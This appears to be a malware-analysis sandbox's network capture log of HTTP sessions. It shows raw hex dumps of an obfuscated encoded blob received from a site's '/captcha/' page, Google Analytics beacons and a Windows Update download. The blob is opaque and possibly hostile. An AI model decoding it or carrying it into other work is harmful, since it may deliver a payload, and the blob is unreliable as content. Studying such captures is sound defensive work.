2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 31 33 36 41 63 31 31 38 36 46 63 36 31 44 37 34 63 62 32 32 37 39 64 30 32 61 63 30 31 58 37 33 43 32 32 38 37 32 64 35 32 34 33 36 58 38 63 65 33 59 39 32 65 39 34 30 39 37 58 58 34 35 39 63 46 33 34 41 41 31 66 38 34 66 41 36 66 64 35 34 46 31 35 31 61 37 2c 34 31 34 59 31 66 65 36 36 41 38 64 34 31 31 37 62 64 37 36 36 63 35 44 46 7c 35 37 32 43 39 32 30 37 37 43 58 32 35 37 63 44 33 32 41 38 31 64 38 32 46 65 33 43 37 31 58 38 62 58 32 33 39 39 30 65 37 33 65 39 35 65 63 34 33 39 41 46 31 34 38 61 64 34 39 39 61 65 35 34 37 39 58 65 38 35 34 39 63 48 36 35 39 35 63 47 58 66 34 36 31 62 38 2e 66 36 36 59 44 31 34 36 62 43 32 31 39 37 30 43 37 31 58 37 35 43 43 32 33 37 41 31 37 37 37 63 64 32 61 33 61 44 37 32 34 38 63 63 65 66 61 33 37 41 30 66 39 38 Data Ascii: 136Ac1186Fc61D74cb2279d02ac01X73C22872d52436X8ce3Y92e94097XX459cF34AA1f84fA6fd54F151a7,414Y1fe66A8d4117bd766c5DF\|572C92077CX257cD32A81d82Fe3C71X8bX23990e73e95ec439AF148ad499ae5479Xe8549cH6595cGXf461b8.f66YD146bC21970C71X75CC237A1777cd2a3aD7248ccefa37A0f98
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 32 39 38 30 44 37 32 65 38 35 64 63 33 33 38 41 58 34 37 65 64 65 33 35 39 31 64 39 33 44 38 31 65 62 33 35 38 61 44 46 34 35 41 30 61 33 35 35 33 62 61 38 66 66 35 36 61 64 56 34 35 59 59 32 2c 39 36 30 59 37 7e 58 36 35 59 43 31 33 36 61 63 31 35 58 59 59 23 59 37 35 38 31 31 32 37 34 43 38 32 37 34 31 37 65 58 36 34 37 36 64 44 41 33 31 38 38 44 46 33 36 38 44 65 34 33 62 39 32 65 39 34 30 39 37 65 65 34 35 39 63 66 33 38 62 65 64 34 31 39 36 46 34 2c 41 39 37 46 41 35 30 41 44 46 35 35 35 59 32 63 66 3b 43 41 36 46 46 35 46 62 63 57 34 36 38 38 38 41 58 31 62 37 32 63 39 32 30 37 37 43 58 32 35 37 63 64 33 32 61 38 31 64 38 32 46 38 36 44 44 33 34 63 63 32 65 38 32 44 37 33 35 34 62 64 65 34 30 38 38 58 37 34 34 36 32 39 66 33 39 39 32 66 32 34 46 39 Data Ascii: 2980D72e85dc338AX47ede3591d93D81eb358aDF45A0a3553ba8ff56adV45YY2,960Y7~X65YC136ac15XYY#Y75811274C827417eX6476dDA3188DF368De43b92e94097ee459cf38bed4196F4,A97FA50ADF555Y2cf;CA6FF5FbcW46888AX1b72c92077CX257cd32a81d82F86DD34cc2e82D7354bde4088X744629f3992f24F9
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 33 66 39 36 65 64 34 34 39 59 66 32 41 36 38 41 65 31 34 65 41 35 46 43 35 33 61 61 3f 31 35 38 41 46 31 34 61 30 46 43 35 30 61 35 25 34 35 32 59 36 31 36 32 32 43 33 2a 63 36 38 62 35 31 37 37 36 37 36 32 38 48 58 37 59 64 32 32 39 38 30 64 37 32 58 38 35 44 43 33 33 38 61 65 31 33 38 44 37 32 59 38 36 44 59 33 33 39 36 59 33 46 30 35 65 62 32 34 35 61 34 59 58 58 34 35 31 61 38 66 66 35 36 41 44 4a 34 35 62 59 32 2b 39 36 30 62 37 23 58 62 63 3b 35 35 37 59 58 28 39 33 32 36 66 64 39 32 64 38 34 31 59 37 61 39 34 59 41 32 37 37 58 64 35 32 43 38 33 44 41 33 31 38 38 44 46 33 36 38 64 65 34 37 64 64 33 32 63 38 59 64 65 34 30 39 34 46 31 34 31 38 58 61 65 33 59 39 58 66 32 34 43 41 36 63 35 2b 32 35 43 46 36 32 30 41 34 43 58 35 32 37 43 64 35 66 62 36 Data Ascii: 3f96ed449Yf2A68Ae14eA5FC53aa?158AF14a0FC50a5%452Y61622C3*c68b517767628HX7Yd22980d72X85DC338ae138D72Y86DY3396Y3F05eb245a4YXX451a8ff56ADJ45bY2+960b7#Xbc;557YX(9326fd92d841Y7a94YA277Xd52C83DA3188DF368de47dd32c8Yde4094F1418Xae3Y9Xf24CA6c5+25CF620A4CX527Cd5fb6
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 35 35 41 43 3b 33 35 61 46 58 34 39 62 31 66 64 35 36 62 32 64 35 31 32 37 62 64 31 36 37 63 36 43 35 32 43 37 33 44 41 32 31 38 39 65 31 37 36 64 35 58 46 31 35 38 32 64 39 33 30 38 37 44 58 33 35 38 63 65 33 33 41 39 31 65 38 33 46 58 35 34 32 39 38 58 37 33 62 39 37 65 35 31 31 34 58 66 33 34 59 61 31 65 66 31 63 34 32 61 66 4b 36 35 64 62 34 5e 62 36 32 62 39 31 30 36 37 59 58 31 35 36 43 7b 39 36 39 62 66 31 43 32 43 62 63 25 58 37 31 63 34 31 65 38 32 39 41 64 37 36 30 44 34 31 65 38 32 44 58 33 30 34 34 38 66 32 58 38 32 65 30 34 31 38 37 58 44 33 39 38 41 64 66 40 31 34 63 58 34 34 43 39 61 58 39 34 62 36 32 61 64 35 37 39 63 52 30 35 63 36 64 51 41 35 33 59 37 7c 35 35 39 38 35 41 59 31 38 36 66 43 36 31 44 37 34 43 59 32 32 37 39 64 30 32 37 37 Data Ascii: 55AC;35aFX49b1fd56b2d5127bd167c6C52C73DA2189e176d5XF1582d93087DX358ce33A91e83FX54298X73b97e5114Xf34Ya1ef1c42afK65db4^b62b91067YX156C{969bf1C2Cbc%X71c41e829Ad760D41e82DX30448f2X82e04187XD398Adf@14cX44C9aX94b62ad579cR05c6dQA53Y7\|55985AY186fC61D74CY2279d0277
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 63 33 44 44 4d 33 37 30 63 37 31 65 37 35 63 63 32 33 37 61 64 31 38 35 36 39 43 30 31 37 38 34 44 59 33 32 38 39 58 30 33 37 38 65 58 35 34 61 44 36 33 32 38 36 44 59 33 61 38 38 58 43 34 63 35 38 58 36 33 65 61 33 65 61 66 65 59 30 39 36 50 33 35 61 59 31 4b 38 35 46 62 36 50 44 36 34 59 59 31 32 36 39 43 30 35 41 59 44 31 31 36 62 63 35 65 34 32 31 37 59 58 34 33 59 39 32 65 39 34 30 39 37 66 34 31 41 38 37 44 58 33 35 38 43 58 33 33 41 39 31 65 38 33 66 39 36 58 44 34 34 58 59 34 31 39 43 58 39 34 62 39 37 46 34 34 61 36 64 41 41 35 33 39 44 46 59 34 37 62 31 66 64 36 31 61 37 64 34 66 61 36 37 59 58 31 35 36 43 63 33 31 41 37 31 63 38 31 46 37 36 63 64 32 34 63 31 32 31 37 37 44 34 65 34 38 31 43 58 33 36 37 38 41 34 58 31 35 30 64 66 33 58 35 38 37 Data Ascii: c3DDM370c71e75cc237ad18569C01784DY3289X0378eX54aD63286DY3a88XC4c58X63ea3eafeY096P35aY1K85Fb6PD64YY1269C05AYD116bc5e4217YX43Y92e94097f41A87DX358CX33A91e83f96XD44XY419CX94b97F44a6dAA539DFY47b1fd61a7d4fa67YX156Cc31A71c81F76cd24c12177D4e481CX3678A4X150df3X587
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 38 31 64 38 32 46 38 36 64 64 33 34 38 62 65 32 33 39 39 30 65 37 33 65 39 35 58 43 34 33 58 58 34 33 38 39 58 44 34 39 39 33 66 33 34 44 39 46 43 33 5e 30 41 39 46 44 35 39 39 64 23 37 34 66 36 39 43 38 35 33 61 62 3d 34 31 44 38 36 41 43 31 39 37 30 43 37 31 65 37 35 43 43 32 33 37 61 64 31 32 38 37 66 44 36 38 41 36 65 63 35 33 32 38 39 58 30 33 37 38 65 58 35 33 63 39 33 58 41 34 31 39 38 58 46 35 37 61 64 4f 34 35 30 61 32 35 34 33 41 41 37 46 58 35 35 41 43 3a 33 35 61 62 31 21 38 35 66 62 36 47 44 36 34 62 62 31 32 36 39 43 30 36 62 43 30 47 36 36 61 63 36 31 30 37 30 43 41 31 63 34 30 37 64 32 36 37 61 44 36 31 41 38 34 63 63 58 36 34 38 41 32 46 33 37 65 64 36 32 46 34 38 62 31 64 37 34 34 39 59 46 32 34 39 41 30 46 37 34 65 61 35 66 63 35 33 41 Data Ascii: 81d82F86dd348be23990e73e95XC43XX4389XD4993f34D9FC3^0A9FD599d#74f69C853ab=41D86AC1970C71e75CC237ad1287fD68A6ec53289X0378eX53c93XA4198XF57adO450a2543AA7FX55AC:35ab1!85fb6GD64bb1269C06bC0G66ac61070CA1c407d267aD61A84ccX648A2F37ed62F48b1d7449YF249A0F74ea5fc53A
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 41 34 33 58 39 34 65 66 33 43 39 65 58 41 34 37 39 44 63 30 66 64 41 33 4a 30 35 36 61 63 66 39 34 59 41 33 64 30 3f 63 36 33 59 41 31 31 35 32 62 66 31 36 36 44 43 34 31 62 37 32 63 39 32 30 37 37 63 65 32 35 37 63 32 33 36 59 63 35 31 43 37 38 64 34 32 34 34 31 64 37 32 37 37 66 65 34 5f 31 33 65 61 35 3a 37 32 44 38 34 66 31 34 38 39 66 66 36 34 64 41 34 66 62 35 32 7e 36 58 41 34 31 41 58 7e 35 35 63 62 33 50 61 36 31 59 38 25 46 62 35 5e 39 31 34 59 37 52 62 31 39 63 62 59 31 31 58 37 35 43 43 32 33 37 41 64 31 32 38 37 66 44 36 32 64 38 34 64 62 37 35 44 38 33 35 38 35 58 32 32 41 38 58 41 30 33 33 38 46 64 62 34 31 38 62 58 41 33 39 39 39 66 36 31 33 35 30 46 30 35 32 39 41 46 39 31 58 34 34 62 31 7c 38 35 46 62 36 2a 64 36 34 59 59 31 32 36 39 43 Data Ascii: A43X94ef3C9eXA479Dc0fdA3J056acf94YA3d0?c63YA1152bf166DC41b72c92077ce257c236Yc51C78d42441d7277fe4_13ea5:72D84f1489ff64dA4fb52~6XA41AX~55cb3Pa61Y8%Fb5^914Y7Rb19cbY11X75CC237Ad1287fD62d84db75D83585X22A8XA0338Fdb418bXA3999f61350F0529AF91X44b1\|85Fb6*d64YY1269C
2025-05-21 19:48:05 UTC	580	OUT	GET /favicon.ico HTTP/1.1 host: ia-robotics.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://ia-robotics.com/captcha/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:05 UTC	371	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:05 GMT server: nginx/1.25.5 content-type: text/html; charset=UTF-8 cache-control: max-age=7200 expires: Wed, 21 May 2025 21:48:05 GMT vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== x-endurance-cache-level: 2 x-nginx-cache: WordPress x-server-cache: true x-proxy-cache: MISS content-length: 534

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49734	216.239.32.181	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	1460	OUT	POST /g/collect?v=2&tid=G-TSFRMYZ71E&gtm=45je55k0v9120684615z878295896za200zb78295896&_p=1747856878972&_gaz=1&gcd=13l3l3l3l1l1&npa=0&dma=0&tag_exp=101509157~103116026~103130495~103130497~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&ptag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&cid=1130086540.1747856883&ecid=1481710428&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&frm=0&pscdl=noapi&ec_mode=a&_s=1&sid=1747856882&sct=1&seg=0&dl=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&dt=Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington&en=page_view&_fv=1&_nsi=1&_ss=1&tfd=6242 HTTP/1.1 host: analytics.google.com content-length: 0 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identi
2025-05-21 19:48:04 UTC	57	OUT	Data Raw: 74 79 0d 0a 61 63 63 65 70 74 2d 6c 61 6e 67 75 61 67 65 3a 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 2e 39 0d 0a 70 72 69 6f 72 69 74 79 3a 20 75 3d 31 2c 20 69 0d 0a 0d 0a Data Ascii: tyaccept-language: en-US,en;q=0.9priority: u=1, i
2025-05-21 19:48:04 UTC	832	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://gogocharters.com date: Wed, 21 May 2025 19:48:04 GMT pragma: no-cache expires: Fri, 01 Jan 1990 00:00:00 GMT cache-control: no-cache, no-store, must-revalidate access-control-allow-credentials: true content-type: text/plain cross-origin-resource-policy: cross-origin content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:155:0 cross-origin-opener-policy-report-only: same-origin; report-to=ascnsrsggc:155:0 report-to: {"group":"ascnsrsggc:155:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:155:0"}],} server: Golfe2 content-length: 0 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49735	142.250.101.156	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	1072	OUT	POST /g/collect?v=2&tid=G-TSFRMYZ71E&cid=1130086540.1747856883&gtm=45je55k0v9120684615z878295896za200zb78295896&aip=1&dma=0&gcd=13l3l3l3l1l1&npa=0&frm=0&tag_exp=101509157~103116026~103130495~103130497~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&ptag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116 HTTP/1.1 host: stats.g.doubleclick.net content-length: 0 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-05-21 19:48:04 UTC	832	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://gogocharters.com date: Wed, 21 May 2025 19:48:04 GMT pragma: no-cache expires: Fri, 01 Jan 1990 00:00:00 GMT cache-control: no-cache, no-store, must-revalidate access-control-allow-credentials: true content-type: text/plain cross-origin-resource-policy: cross-origin content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:122:0 cross-origin-opener-policy-report-only: same-origin; report-to=ascnsrsggc:122:0 report-to: {"group":"ascnsrsggc:122:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:122:0"}],} server: Golfe2 content-length: 0 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49725	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	309	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YpUTyLr5k7Fb2Gl&MD=MccxyMTh HTTP/1.1 host: slscr.update.microsoft.com accept: / user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 accept-encoding: identity
2025-05-21 19:48:04 UTC	541	IN	HTTP/1.1 200 OK cache-control: no-cache pragma: no-cache content-type: application/octet-stream expires: -1 last-modified: Mon, 01 Jan 0001 00:00:00 GMT etag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" ms-correlationid: 6526e0b7-d32d-4e44-b271-85b2b301bd82 ms-requestid: 79a79fcd-25a6-4c61-b166-d9cc619a290b ms-cv: ZmBN3CqxCUq8JgJo.0 x-microsoft-slsclientcache: 2880 content-disposition: attachment; filename=environment.cab x-content-type-options: nosniff date: Wed, 21 May 2025 19:48:03 GMT content-length: 24490
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: c7 c3 8f 06 b6 24 05 3c f9 2c cb e0 99 86 1a f8 03 ca b3 04 d8 16 f0 f9 32 7f 28 14 e1 08 d8 03 b6 5f ca 00 2c ca e8 4f 1f 06 4e 31 f0 2f 3c 0e 0b 50 12 26 c4 00 85 7e 42 c0 00 c8 0f fa 0d c7 c3 a0 90 23 e5 21 63 33 1e a7 e6 2a f9 c3 ee 4b 69 ce 94 9b 68 c7 7b df ba c7 eb c3 55 b3 50 05 c8 b4 a7 ea a2 5e 5e cd 3a a2 aa 75 43 4b 97 f4 bd 25 ec 55 81 8f 48 6a d4 2b fb 61 52 86 d0 3b 01 14 b0 69 f4 31 7a b6 35 59 f1 51 9b 07 06 22 e9 3b 54 1f 1c 09 53 6c 08 99 9d 74 59 32 ad 33 42 5a f5 2c 05 bf b7 e9 cf 8f 5d 2c 89 c9 8a 5f 6c 65 4c 0c 6d 6a 3f 83 6c b8 bf a3 10 39 92 ad fd bc d8 94 f7 ca 6b ef 90 4b eb 87 76 34 1d 50 f6 0b 7d 4a 62 19 4b 92 ae d4 3f 79 3c 37 e1 2d 6c bc f7 fc 95 94 bd 9c f5 56 86 da 39 b9 b3 67 4c 1a 17 d4 27 59 97 fa bb 03 e7 1b 32 9c 5f Data Ascii: $<,2(_,ON1/<P&~B#!c3*Kih{UP^^:uCK%UHj+aR;i1z5YQ";TSltY23BZ,],_leLmj?l9kKv4P}JbK?y<7-lV9gL'Y2_
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 99 5f f0 57 d3 49 7b b2 e4 e5 c0 9e f2 e2 b5 17 92 26 2b c1 a3 c2 60 60 5d 36 2c de 60 61 ea e8 98 df 55 7a a8 91 e4 a9 84 e0 3b 6e 95 89 91 fc a7 0f 95 af 35 36 d1 a7 99 9e 88 5e 1c 90 6f 76 55 35 c9 a6 7b 9c 57 31 1c 7d 98 8c a5 d0 5c 66 01 23 08 79 a0 ac fd 28 e3 66 c4 5d bc 06 ed c2 ac 2e 85 85 1d 2c f9 63 f9 ae 62 0a e0 dc fd 65 e4 07 da 27 83 27 db 54 2f 30 4f ab 57 35 d0 e3 25 bc 3a 8a 0f 18 ab 06 65 1d c3 c6 d7 dc 20 e5 92 42 df 59 3a dd 99 b4 1e 33 04 f5 9c 31 69 0f ec 13 9b b8 7c 93 51 3a 5b 90 33 78 d9 c2 f9 a0 e5 54 1d b7 41 12 7c ea 48 f9 8b 32 9d cb 22 59 19 02 65 dd 61 fc 1e b6 2d 6d 85 1b 49 c9 9e 9d a6 e3 15 82 bd e8 4e 07 0a 96 41 09 6c 7a 91 fe 23 c6 ec 81 c3 34 b3 bc bd 6d 1b a2 f9 9d 9a 55 ad 27 0b b3 da 0d 82 7c 98 8d 2d 3b d6 c6 13 Data Ascii: _WI{&+``]6,`aUz;n56^ovU5{W1}\f#y(f].,cbe''T/0OW5%:e BY:31i\|Q:[3xTA\|H2"Yea-mINAlz#4mU'\|-;
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 2d 5f d0 00 d0 07 f4 72 f6 e6 e8 44 69 fd 25 5f 10 dc 3f 70 f7 40 41 25 f8 69 80 38 20 27 0e a0 36 fd 40 ab 6d 7e e0 7e 60 1f a0 bb cd 0f 54 fd d7 fc c0 df e9 fb c7 c8 07 c3 96 47 48 09 90 7f f5 08 49 7f e5 05 82 72 c3 a4 de 98 91 55 c3 ea 10 ce a3 13 c3 f7 12 97 f6 c4 ce d7 c2 d9 28 f3 83 ce ec 99 14 4b d4 be 03 9e 48 26 e8 06 e4 1c e3 a4 41 09 dd e2 d3 84 db 86 e8 d2 f6 fb 0d f2 bb 63 cb fd 6b 48 cc 83 a9 85 16 0a 62 17 34 a2 dc b2 5c 8e 5a 11 11 25 46 bc 99 aa 15 3b c9 46 0f 5f 5e b9 9a fd a8 03 36 50 d9 0b 10 d7 86 2a ed 8c d3 6e 1f ed e9 f0 96 84 f7 3b dc 1d 9e 09 6e c5 df da 17 74 23 13 af d2 ac 85 dd 4d 74 ea 15 fd 52 cf 64 7f b7 fa f3 19 03 d1 3c 1d f9 9e 49 c6 ae 97 08 66 b1 ba 94 91 c7 2a c7 ee c7 ef 55 45 e4 5e a7 ed 2e 5d 46 59 44 0d 4b 8d 93 Data Ascii: -_rDi%_?p@A%i8 '6@m~~`TGHIrU(KH&AckHb4\Z%F;F_^6Pn;nt#MtRd<IfUE^.]FYDK
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: f4 d2 5b 0d c4 46 f4 08 0d 64 b7 dd 0e 23 c4 4a be c6 2c 08 e4 15 96 43 0e 90 12 6e 83 93 e4 22 73 bf 9c 43 a3 72 7e 18 32 1c 87 83 10 55 1d 3d 13 70 78 a0 df ea 3e bc 8f 9c f3 c9 cd b2 63 9f 56 68 27 2f ce f2 f7 d1 be 1e 37 ef db 07 4d 38 19 d3 72 07 4b 21 bd e4 5a 22 2f df 9c d9 42 cd 28 ce 46 7d 02 5e c0 3a 7d 59 8f ba 2b d9 8a 6a ee ee 00 2f 1d b9 28 fd 40 78 e3 bc e0 27 36 dd fd 43 d9 6a 3e 0d 73 ca 91 ee 0f 3d a6 1a b5 25 8c d1 15 8a d7 f8 93 2e 54 ac df 56 e1 7f ed 19 54 17 27 34 90 14 e3 70 8c 6c 7f ff 7e 4f 51 14 1e 4e 05 72 47 b2 4d 89 4e f9 67 77 f4 77 a9 eb f6 50 12 1e aa 0b b0 6d 8f 25 51 7d 17 52 f8 55 b8 68 f5 90 ab 07 5f 36 1f f1 e4 1e e5 fb f3 73 97 9a e6 1d ab bb ee b9 59 5a f2 3c e8 6d 9f be 51 7b 02 c0 7d d8 d6 01 4c 12 85 7b 05 e0 5e Data Ascii: [Fd#J,Cn"sCr~2U=px>cVh'/7M8rK!Z"/B(F}^:}Y+j/(@x'6Cj>s=%.TVT'4pl~OQNrGMNgwwPm%Q}RUh_6sYZ<mQ{}L{^
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 17 7a 50 e3 3d 37 50 78 c6 9b 00 9e b1 6c 93 1f 64 fc 47 28 e5 6f 7b 2c 3f 66 9c 1b c0 91 91 7f f1 eb 59 11 28 38 61 06 ff bf 92 d0 14 5f 4d 0f e8 d9 e9 00 5a 30 6e 48 2f 23 03 13 4d 57 f0 f8 e5 8d 51 9b 88 0d f9 1d 57 58 98 cf e8 0b 8c f6 eb 9c da ff e4 4a 13 15 29 0c 69 75 94 79 e3 95 50 e5 48 e0 90 99 54 fe c5 90 26 13 97 27 85 89 ed 99 b4 32 69 b3 23 07 e3 9e fb e7 e2 e9 27 ff d9 3c 6e 78 48 c3 3d 4c b0 78 83 47 97 43 99 4b fa 65 6a 2b a5 20 16 23 d3 dd e2 46 1d 6b 79 16 e2 7b e7 3e e7 71 eb 7f c8 e3 4a 49 a0 64 7e e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 ff ab f3 b8 5d a3 0e 92 5e 1d d9 33 07 9d b4 5a 5b 1f 36 94 07 fb 31 44 46 72 24 1d af 77 ba 94 e6 6b df 96 Data Ascii: zP=7PxldG(o{,?fY(8a_MZ0nH/#MWQWXJ)iuyPHT&'2i#'<nxH=LxGCKej+ #Fky{>qJId~qqqqqqqqqqqqqqq]^3Z[61DFr$wk
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 72 61 74 69 6f 6e 73 20 50 75 65 72 74 6f 20 52 69 63 6f 31 16 30 14 06 03 55 04 05 13 0d 32 33 30 38 32 39 2b 34 35 34 32 33 37 30 1f 06 03 55 1d 23 04 18 30 16 80 14 ad 94 76 8f 83 ad 0e 03 a3 e8 3b b0 d7 34 68 d4 79 3a 7d dc 30 60 06 03 55 1d 1f 04 59 30 57 30 55 a0 53 a0 51 86 4f 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 6f 70 73 2f 63 72 6c 2f 4d 69 63 72 6f 73 6f 66 74 25 32 30 55 70 64 61 74 65 25 32 30 53 69 67 6e 69 6e 67 25 32 30 43 41 25 32 30 32 2e 31 2e 63 72 6c 30 6d 06 08 2b 06 01 05 05 07 01 01 04 61 30 5f 30 5d 06 08 2b 06 01 05 05 07 30 02 86 51 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 6f 70 73 2f 63 65 72 74 73 2f 4d 69 63 72 6f 73 6f 66 74 25 32 30 55 Data Ascii: rations Puerto Rico10U230829+4542370U#0v;4hy:}0`UY0W0USQOhttp://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl0m+a0_0]+0Qhttp://www.microsoft.com/pkiops/certs/Microsoft%20U
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 6c d5 21 c9 b8 50 68 05 c3 e4 09 c9 bd 51 c9 5f 6d 75 4f 8d 35 30 c5 8c c1 83 b2 1f 93 b5 72 6f d2 44 90 1d ed 7f 13 a9 7d 53 24 9c aa 46 c0 8f c5 c5 be bf c8 55 14 fe 87 35 fe cd d5 7e 02 d2 87 68 00 c9 b8 d7 44 cb 71 db a4 8b b3 e0 0e a6 0b ce 12 7d f6 68 dc c0 91 31 f8 59 2c 2c f5 d5 d1 2e 08 9d 2b 30 6a 6e aa ad 9e 16 4e 27 d0 ba 3b 1a 81 30 43 38 92 87 e1 6c 6f 43 3d 2d 4e 1f 0d 10 c1 f8 fa bc 84 c8 93 c3 9e 47 fc b6 fa d1 2f b6 af 39 3e 9c 3f 1c f1 4d a4 16 d3 0a e2 e7 4e f5 37 88 03 46 8e 1e cc 77 c1 47 d3 44 b7 e4 35 23 db eb 20 cb 2a f5 57 ae 2e 00 3b 6b e6 a3 6e 05 99 70 bb 76 3b d8 3c b4 76 f6 28 15 3a 25 d4 26 a4 08 9f d9 7e 7b 44 8a b7 15 8a c6 c5 78 2a 9d 32 c4 83 7b b9 6e 42 14 99 5d 49 7f 45 99 57 a7 33 77 44 1a ff 47 a3 71 b7 b0 b1 56 8a Data Ascii: l!PhQ_muO50roD}S$FU5~hDq}h1Y,,.+0jnN';0C8loC=-NG/9>?MN7FwGD5# W.;knpv;<v(:%&~{Dx2{nB]IEW3wDGqV
